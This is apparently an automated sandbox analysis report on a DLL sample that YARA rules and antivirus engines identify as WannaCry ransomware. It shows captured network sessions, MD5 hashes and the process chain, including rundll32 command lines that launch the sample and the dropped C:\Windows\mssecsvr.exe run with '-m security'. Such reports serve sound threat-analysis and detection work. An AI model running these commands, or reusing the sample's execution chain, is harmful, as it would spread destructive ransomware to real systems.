2022-07-20 13:45:59 UTC	8776	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: f049d292-563e-4927-943f-39903068f77c Date: Wed, 20 Jul 2022 13:45:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.7	55131	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:59 UTC	8776	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224529Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:59 UTC	8776	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: af233801-467b-4aca-8e70-acc12e992233 Date: Wed, 20 Jul 2022 13:45:59 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.7	55176	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:00 UTC	8777	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224530Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:00 UTC	8777	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: d01a607d-18ea-42dd-9408-adafe6dd1476 Date: Wed, 20 Jul 2022 13:45:59 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.7	55202	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:00 UTC	8777	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224532Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:00 UTC	8778	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: f8fbb162-17be-4e86-bc83-25dc9d37f22d Date: Wed, 20 Jul 2022 13:45:59 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.7	55205	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:00 UTC	8778	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224533Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:00 UTC	8779	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: d383ce83-5bc0-4fee-a36d-f596f8d96f10 Date: Wed, 20 Jul 2022 13:46:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.7	55208	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:00 UTC	8779	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224534Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:01 UTC	8779	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: adf340cb-46b0-4395-b654-12c5df386ca8 Date: Wed, 20 Jul 2022 13:46:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	50220	20.190.159.72	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:48 UTC	87	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4740 Host: login.live.com
2022-07-20 13:43:48 UTC	87	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 13:43:48 UTC	113	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 13:42:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 3c7ea92e-387b-4c64-acd9-b83f7616a89f PPServer: PPV: 30 H: BL02PF3A6B75BA3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 13:43:47 GMT Connection: close Content-Length: 11316
2022-07-20 13:43:48 UTC	114	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.7	55256	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:01 UTC	8780	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224535Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:01 UTC	8780	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 9ee14e21-e74b-42ac-9ad1-9fe7cc4e65cc Date: Wed, 20 Jul 2022 13:46:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.7	55283	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:01 UTC	8780	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224536Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:01 UTC	8781	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 1bc4ab3e-cd78-45f0-89bb-36d4efde6819 Date: Wed, 20 Jul 2022 13:46:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.7	55287	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:02 UTC	8781	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224537Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:02 UTC	8782	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 8fbdb4fd-4e8c-4302-a54a-7bf72ed8c41d Date: Wed, 20 Jul 2022 13:46:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.7	55336	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:02 UTC	8782	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224539Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:02 UTC	8783	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c301b5fd-2c2a-484d-a890-ddcb0a43c32f Date: Wed, 20 Jul 2022 13:46:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.7	55365	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:02 UTC	8783	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224539Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:02 UTC	8783	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 8f6c203b-9f7e-43ae-b202-417f43582c29 Date: Wed, 20 Jul 2022 13:46:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.7	55368	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:02 UTC	8783	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224540Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:03 UTC	8784	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c7cc73ae-e0bf-43fc-adb1-2da29c6dc354 Date: Wed, 20 Jul 2022 13:46:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.7	55374	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:03 UTC	8784	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224548Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:03 UTC	8785	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 53033be7-616b-47e5-bc7f-27d9c7399658 Date: Wed, 20 Jul 2022 13:46:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.7	55454	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:05 UTC	8785	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224549Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:05 UTC	8786	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: bb4f9fec-bb9f-4c18-b830-ae49f4ecb67b Date: Wed, 20 Jul 2022 13:46:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.7	55531	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:08 UTC	8786	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224550Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:08 UTC	8786	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: ec11872d-9fd8-4d80-b28d-7ac89c217cc1 Date: Wed, 20 Jul 2022 13:46:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.7	55615	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:08 UTC	8786	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224550Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:08 UTC	8787	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: f712aa15-4648-4f77-854d-a72e0b0d233a Date: Wed, 20 Jul 2022 13:46:08 GMT Connection: close

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 7044, Parent PID: 5652

General

Target ID:	0
Start time:	15:43:09
Start date:	20/07/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll"
Imagebase:	0x1050000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 7052, Parent PID: 7044

General

Target ID:	1
Start time:	15:43:09
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",#1
Imagebase:	0xdd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7060, Parent PID: 7044

General

Target ID:	2
Start time:	15:43:10
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\vGJZ7R5D9P.dll,PlayGame
Imagebase:	0x1050000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7072, Parent PID: 7052

General

Target ID:	3
Start time:	15:43:10
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",#1
Imagebase:	0x1050000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 7112, Parent PID: 7072

General

Target ID:	4
Start time:	15:43:12
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	1C1167A1D6490BC84697D2D3E8547F79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.383175276.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.381498781.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.378931797.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000002.392038753.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.380491276.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 80%, Metadefender, Browse Detection: 100%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7124, Parent PID: 7044

General

Target ID:	5
Start time:	15:43:13
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",PlayGame
Imagebase:	0x1050000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 7136, Parent PID: 7124

General

Target ID:	6
Start time:	15:43:14
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	1C1167A1D6490BC84697D2D3E8547F79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.388267704.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000002.394764132.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.384584584.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.383152912.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.385957982.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 6420, Parent PID: 604

General

Target ID:	8
Start time:	15:43:15
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe -m security
Imagebase:	0x7ff7e8070000
File size:	2281472 bytes
MD5 hash:	1C1167A1D6490BC84697D2D3E8547F79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000002.987312222.000000000042E000.00000004.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000000.385776057.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
